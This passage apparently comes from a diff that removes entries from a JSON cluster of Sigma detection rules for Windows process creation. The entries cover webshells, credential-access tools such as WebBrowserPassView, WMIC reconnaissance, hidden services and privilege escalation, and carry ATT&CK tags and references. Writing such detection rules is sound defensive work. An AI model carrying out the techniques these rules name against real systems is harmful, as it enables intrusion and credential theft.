[ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b", - "value": "Unusual Parent Process for cmd.exe" - }, - { - "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" - ], - "filename": "proc_creation_win_user_discovery_get_aduser.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_discovery_get_aduser.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "c2993223-6da8-4b1a-88ee-668b8bf315e9", - "value": "User Discovery And Export Via Get-ADUser Cmdlet" - }, - { - "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", - "meta": { - "author": "Teymur Kheirkhabarov", - "creation_date": "2019/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", - "https://pentestlab.blog/2017/03/30/weak-service-permissions/" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ] - }, - "uuid": "d937b75f-a665-4480-88a5-2f20e9f9b22a", - "value": "Possible Privilege Escalation via Weak Service Permissions" - }, - { - "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/12/20", - "falsepositive": [ - "Rare intended use of hidden services" - ], - "filename": "proc_creation_win_using_sc_to_hide_sevices.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml", - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ] - }, - "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0", - "value": "Abuse of Service Permissions to Hide Services in Tools" - }, - { - "description": "Detects using SettingSyncHost.exe to run hijacked binary", - "meta": { - "author": "Anton Kutepov, oscd.community", - "creation_date": "2020/02/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_using_settingsynchost_as_lolbin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_settingsynchost_as_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1574.008" - ] - }, - "uuid": "b2ddd389-f676-4ac4-845a-e00781a48e5f", - "value": "Using SettingSyncHost.exe as LOLBin" - }, - { - "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/17", - "falsepositive": [ - "Rare intended use of hidden services" - ], - "filename": "proc_creation_win_using_set_service_to_hide_services.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_set_service_to_hide_services.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ] - }, - "uuid": "514e4c3a-c77d-4cde-a00f-046425e2301e", - "value": "Abuse of Service Permissions to Hide Services Via Set-Service" - }, - { - "description": "Detects when verclsid.exe is used to run COM object via GUID", - "meta": { - "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_verclsid_runs_com.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", - "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml", - "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "d06be4b9-8045-428b-a567-740a26d9db25", - "value": "Verclsid.exe Runs COM Object" - }, - { - "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", - "meta": { - "author": "behops, Bhabesh Raj", - "creation_date": "2021/10/08", - "falsepositive": [ - "Legitimate use by administrator" - ], - "filename": "proc_creation_win_vmtoolsd_susp_child_process.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmtoolsd_susp_child_process.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1059" - ] - }, - "uuid": "5687f942-867b-4578-ade7-1e341c46e99a", - "value": "VMToolsd Suspicious Child Process" - }, - { - "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_vul_java_remote_debugging.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml", - "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp" - ], - "tags": [ - "attack.t1203", - "attack.execution" - ] - }, - "uuid": "8f88e3f6-2a49-48f5-a5c4-2f7eedf78710", - "value": "Java Running with Remote Debugging" - }, - { - "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism", - "meta": { - "author": "frack113", - "creation_date": "2022/09/25", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_w32tm.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md" - ], - "tags": [ - "attack.discovery", - "attack.t1124" - ] - }, - "uuid": "6da2c9f5-7c53-401b-aacb-92c040ce1215", - "value": "Use of W32tm as Timer" - }, - { - "description": "Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wab_execution_from_non_default_location.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ] - }, - "uuid": "395907ee-96e5-4666-af2e-2ca91688e151", - "value": "Wab Execution From Non Default Location" - }, - { - "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wab_unusual_parents.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ] - }, - "uuid": "63d1ccc0-2a43-4f4b-9289-361b308991ff", - "value": "Wab/Wabmig Unusual Parent Or Child Processes" - }, - { - "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/14", - "falsepositive": [ - "Legitimate usage of the passwords by users via commandline (should be discouraged)", - "Other currently unknown false positives" - ], - "filename": "proc_creation_win_weak_or_abused_passwords.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_weak_or_abused_passwords.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ] - }, - "uuid": "91edcfb1-2529-4ac2-9ecc-7617f895c7e4", - "value": "Weak or Abused Passwords In CLI" - }, - { - "description": "Detect use of WebBrowserPassView.exe", - "meta": { - "author": "frack113", - "creation_date": "2022/08/20", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_webbrowserpassview.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webbrowserpassview.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.003" - ] - }, - "uuid": "d0dae994-26c6-4d2d-83b5-b3c8b79ae513", - "value": "Launch WebBrowserPassView Executable" - }, - { - "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", - "meta": { - "author": "Florian Roth (rule), MSTI (query)", - "creation_date": "2022/10/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_webshell_chopper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1018", - "attack.t1033", - "attack.t1087" - ] - }, - "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb", - "value": "Chopper Webshell Process Pattern" - }, - { - "description": "Detects certain command line parameters often used during reconnaissance activity via web shells", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro, Anton Kutepov, oscd.community", - "creation_date": "2017/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_webshell_detection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml", - "https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/", - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1018", - "attack.t1033", - "attack.t1087" - ] - }, - "uuid": "bed2a484-9348-4143-8a8a-b801c979301c", - "value": "Webshell Detection With Command Line Keywords" - }, - { - "description": "Detects certain parent child patterns found in cases in which a webshell is used to perform certain credential dumping or exfiltration activities on a compromised system", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/17", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_webshell_hacking.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml", - "https://youtu.be/7aemGhaE9ds?t=641" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1018", - "attack.t1033", - "attack.t1087" - ] - }, - "uuid": "4ebc877f-4612-45cb-b3a5-8e3834db36c9", - "value": "Webshell Hacking Activity Patterns" - }, - { - "description": "Detects processes spawned from web servers (php, tomcat, iis...etc) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands", - "meta": { - "author": "Cian Heasley, Florian Roth", - "creation_date": "2020/07/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_webshell_recon_detection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_recon_detection.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "f64e5c19-879c-4bae-b471-6d84c8339677", - "value": "Webshell Recon Detection Via CommandLine & Processes" - }, - { - "description": "Detects web servers that spawn shell processes which could be the result of a successfully placed web shell or another attack", - "meta": { - "author": "Thomas Patzke, Florian Roth, Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (update)", - "creation_date": "2019/01/16", - "falsepositive": [ - "Particular web applications may spawn a shell process legitimately" - ], - "filename": "proc_creation_win_webshell_spawn.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml", - "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003", - "attack.t1190" - ] - }, - "uuid": "8202070f-edeb-4d31-a010-a26c72ac5600", - "value": "Shells Spawned by Web Servers" - }, - { - "description": "Detects usage of the wevtutil utility to perform reconnaissance", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/09", - "falsepositive": [ - "Legitmate usage of the utility by administrators to query the event log" - ], - "filename": "proc_creation_win_wevtutil_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html" - ], - "tags": [ - "attack.discovery" - ] - }, - "uuid": "beaa66d6-aa1b-4e3c-80f5-e0145369bfaf", - "value": "Wevtutil Recon" - }, - { - "description": "Detects a whoami.exe executed by privileged accounts that are often misused by threat actors", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_whoami_as_priv_user.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml", - "https://nsudo.m2team.org/en-us/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "79ce34ca-af29-4d0e-b832-fc1b377020db", - "value": "Run Whoami as Privileged User" - }, - { - "description": "Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.", - "meta": { - "author": "Teymur Kheirkhabarov, Florian Roth", - "creation_date": "2019/10/23", - "falsepositive": [ - "Possible name overlap with NT AUHTORITY substring to cover all languages" - ], - "filename": "proc_creation_win_whoami_as_system.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_system.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "80167ada-7a12-41ed-b8e9-aa47195c66a1", - "value": "Run Whoami as SYSTEM" - }, - { - "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt.", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/05", - "falsepositive": [ - "Administrative activity (rare lookups on current privileges)" - ], - "filename": "proc_creation_win_whoami_priv.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "97a80ec7-0e2f-4d05-9ef4-65760e634f6b", - "value": "Run Whoami Showing Privileges" - }, - { - "description": "Detects Task Scheduler .job import arbitrary DACL write\\par", - "meta": { - "author": "Olaf Hartong", - "creation_date": "2019/05/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_win10_sched_task_0day.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SandboxEscaper/polarbearrepo/tree/master/bearlpe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win10_sched_task_0day.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1053.005", - "car.2013-08-001" - ] - }, - "uuid": "931b6802-d6a6-4267-9ffa-526f57f22aaf", - "value": "Windows 10 Scheduled Task SandboxEscaper 0-day" - }, - { - "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/25", - "falsepositive": [ - "Other legitimate \"Windows Terminal\" profiles" - ], - "filename": "proc_creation_win_windows_terminal_susp_children.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/nas_bench/status/1550836225652686848", - "https://persistence-info.github.io/Data/windowsterminalprofile.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence" - ] - }, - "uuid": "8de89e52-f6e1-4b5b-afd1-41ecfa300d48", - "value": "Suspicious WindowsTerminal Child Processes" - }, - { - "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz", - "meta": { - "author": "Georg Lauenstein", - "creation_date": "2022/09/19", - "falsepositive": [ - "Other programs that use the same command line flags" - ], - "filename": "proc_creation_win_winpeas_tool.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/carlospolop/PEASS-ng", - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winpeas_tool.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1082", - "attack.t1087", - "attack.t1046" - ] - }, - "uuid": "98b53e78-ebaf-46f8-be06-421aafd176d9", - "value": "Detect Execution of winPEAS" - }, - { - "description": "Detects the Installation of a Exchange Transport Agent", - "meta": { - "author": "Tobias Michalski", - "creation_date": "2021/06/08", - "falsepositive": [ - "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." - ], - "filename": "proc_creation_win_win_exchange_transportagent.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win_exchange_transportagent.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.002" - ] - }, - "uuid": "83809e84-4475-4b69-bc3e-4aad8568612f", - "value": "MSExchange Transport Agent Installation" - }, - { - "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model...etc.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_computersystem_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml", - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "9d7ca793-f6bd-471c-8d0f-11e68b2f0d2f", - "value": "Suspicious Get Local Groups Information with WMIC" - }, - { - "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_group_recon.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_group_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "164eda96-11b2-430b-85ff-6a265c15bf32", - "value": "Suspicious Get Local Groups Information with WMIC" - }, - { - "description": "Detects wmic known recon method to look for installed hotfixes, often used by pentest and attackers enum scripts", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_hotfix_enum.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml", - "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "dfd2fcb7-8bd5-4daa-b132-5adb61d6ad45", - "value": "WMIC Hotfix Recon" - }, - { - "description": "An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_reconnaissance.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "221b251a-357a-49a9-920a-271802777cc0", - "value": "Suspicious WMI Reconnaissance" - }, - { - "description": "An adversary might use WMI to execute commands on a remote system", - "meta": { - "author": "frack113", - "creation_date": "2022/03/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_remote_command.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml", - "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "e42af9df-d90b-4306-b7fb-05c863847ebd", - "value": "WMI Remote Command Execution" - }, - { - "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_remote_service.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "09af397b-c5eb-4811-b2bb-08b3de464ebf", - "value": "WMI Reconnaissance List Remote Services" - }, - { - "description": "Uninstall an application with wmic", - "meta": { - "author": "frac113", - "creation_date": "2022/01/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_remove_application.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remove_application.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "b53317a0-8acf-4fd1-8de8-a5401e776b96", - "value": "WMI Uninstall An Application" - }, - { - "description": "Detects usage of wmic to start or stop a service", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_service.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "0b7163dc-7eee-4960-af17-c0cd517f92da", - "value": "WMIC Service Start/Stop" - }, - { - "description": "Detects wmic known recon method to look for unquoted service paths, often used by pentest and attackers enum scripts", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmic_unquoted_service_search.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", - "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_unquoted_service_search.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "68bcd73b-37ef-49cb-95fc-edc809730be6", - "value": "WMIC Unquoted Services Path Lookup" - }, - { - "description": "Detects wmiprvse spawning processes", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_wmiprvse_spawning_process.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190810201010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "d21374ff-f574-44a7-9998-4a8c8bf33d7d", - "value": "Wmiprvse Spawning Process" - 